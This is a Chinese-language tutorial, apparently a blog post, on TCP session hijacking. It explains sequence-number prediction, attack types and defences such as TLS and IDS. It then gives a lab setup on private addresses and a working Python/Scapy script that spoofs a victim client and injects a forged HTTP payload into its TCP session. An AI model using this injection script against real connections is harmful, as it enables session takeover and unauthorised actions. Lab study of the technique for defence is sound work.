一、介绍
TCP劫持攻击(TCP Hijacking),也称为会话劫持,是一种攻击方式,攻击者在合法用户与服务器之间的通信过程中插入或劫持数据包,从而控制通信会话。通过TCP劫持,攻击者可以获取敏感信息、执行未授权的操作或中断正常通信。
1.1 TCP劫持攻击的原理
TCP劫持攻击主要利用了TCP协议的以下特性:
- 序列号预测:TCP连接中的数据包是按序列号顺序传输的,攻击者可以通过监听网络流量预测下一个有效的序列号。
- 中间人攻击(MITM):攻击者可以通过中间人攻击拦截和篡改通信数据包,从而控制通信会话。
1.2 TCP劫持攻击的类型
- 主动劫持:攻击者通过发送伪造的数据包中断或接管现有的TCP连接。
- 被动劫持:攻击者通过监听网络流量,获取会话中的敏感信息。
1.3 防御措施
- 加密通信:使用TLS/SSL等加密协议保护通信数据,防止攻击者监听和篡改数据包。
- 使用安全的序列号生成算法:在TCP连接建立时使用强序列号生成算法,增加序列号的不可预测性。
- 入侵检测系统(IDS):部署IDS实时监控网络流量,检测并阻止异常的TCP数据包。
- 网络隔离和分段:通过网络隔离和分段,限制攻击者获取敏感的网络流量。
- 双因素认证:在关键业务场景中使用双因素认证,增强通信的安全性。
通过这些防御措施,可以有效减缓或防止TCP劫持攻击,确保网络通信的安全性和稳定性。
二、实验环境
用户 Kali 在与服务器通信:192.168.134.147
服务器:192.168.134.148
三、实操演示
先获取到序列号及目标端口
以下是一个使用Python和Scapy库实现TCP劫持攻击的示例代码:
from scapy.all import *
from scapy.layers.inet import TCP
def tcp_hijack_attack(victim_ip, victim_port, server_ip, server_port, seq, ack, data):
# 构造IP和TCP头部
ip = IP(src=victim_ip, dst=server_ip)
tcp = TCP(sport=victim_port, dport=server_port, seq=seq, ack=ack, flags="PA") # PA表示带有数据的包
payload = data
# 发送伪造数据包
send(ip / tcp / payload, verbose=1)
print(
f"Sent TCP hijack packet from {victim_ip}:{victim_port} to {server_ip}:{server_port} with seq={seq} and ack={ack}")
if __name__ == "__main__":
victim_ip = "192.168.134.147" # 受害者客户端的IP地址
victim_port = 49658 # 受害者客户端的端口
server_ip = "192.168.134.148" # 服务器的IP地址
server_port = 8080 # 服务器的端口
seq = 182 # 预测的序列号
ack = 426 # 确认号
data = "GET / HTTP/1.1\r\nHost: www.hubstc.com.cn\r\n\r\n" # 伪造的数据
tcp_hijack_attack(victim_ip, victim_port, server_ip, server_port, seq, ack, data)